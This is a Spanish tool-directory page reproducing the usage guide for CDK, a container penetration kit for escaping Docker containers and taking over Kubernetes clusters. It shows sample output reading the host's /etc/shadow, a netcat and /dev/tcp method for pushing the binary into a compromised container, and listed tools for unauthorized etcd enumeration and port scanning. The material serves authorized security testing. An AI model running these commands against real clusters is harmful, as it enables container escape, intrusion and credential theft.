
Descubre las herramientas más usadas por nuestra comunidad.
Explora todas las herramientas
Explora nuestra colección de herramientas
Ver todas las herramientas →📦 Facilita las pruebas de seguridad de K8s, Docker y Containerd.
Inglés | ç®€ä½“ä¸æ–‡

El uso de CDK para atacar objetivos sin consentimiento mutuo previo es ilegal. CDK es solo para fines de pruebas de seguridad.
CDK es un kit de penetración de contenedores de código abierto, diseñado para ofrecer una explotación estable en diferentes contenedores reducidos sin ninguna dependencia del sistema operativo. Viene con útiles herramientas de red y muchos PoCs/EXPs potentes y te ayuda a escapar del contenedor y tomar el control del clúster K8s fácilmente.
Ejecuta cdk eva para obtener información de evaluación y un exploit recomendado, luego ejecuta cdk run para iniciar el ataque.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Descarga la última versión en https://github.com/cdk-team/CDK/releases/
Coloca los archivos ejecutables en el contenedor objetivo y comienza las pruebas.
Si tienes un exploit que puede subir un archivo, entonces puedes subir el binario de CDK directamente.
Si tienes un exploit RCE, pero el contenedor objetivo no tiene curl ni wget, puedes usar el siguiente método para entregar CDK:
(en tu máquina)
nc -lvp 999 < cdk
cat < /dev/tcp/(tu_ip_pública)/(puerto) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK tiene tres módulos:
Uso
cdk evaluate [--full]
| Tácticas | Script | Soportado | Uso/Ejemplo |
|---|---|---|---|
| Recopilación de Información | OS Basic Info | ✔ | link |
| Recopilación de Información | Available Capabilities | ✔ | link |
| Recopilación de Información | Available Linux Commands | ✔ | link |
| Recopilación de Información | Mounts | ✔ | link |
| Recopilación de Información | Net Namespace | ✔ | link |
| Recopilación de Información | Sensitive ENV | ✔ | link |
| Recopilación de Información | Sensitive Process | ✔ | link |
| Recopilación de Información | Sensitive Local Files | ✔ | link |
| Recopilación de Información | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| Recopilación de Información | DNS-Based Service Discovery | ✔ | link |
| Descubrimiento | K8s Api-server Info | ✔ | link |
| Descubrimiento | K8s Service-account Info | ✔ | link |
| Descubrimiento | Cloud Provider Metadata API | ✔ | link |
Lista todos los exploits disponibles:
cdk run --list
Ejecuta exploit dirigido:
cdk run <script-name> [options]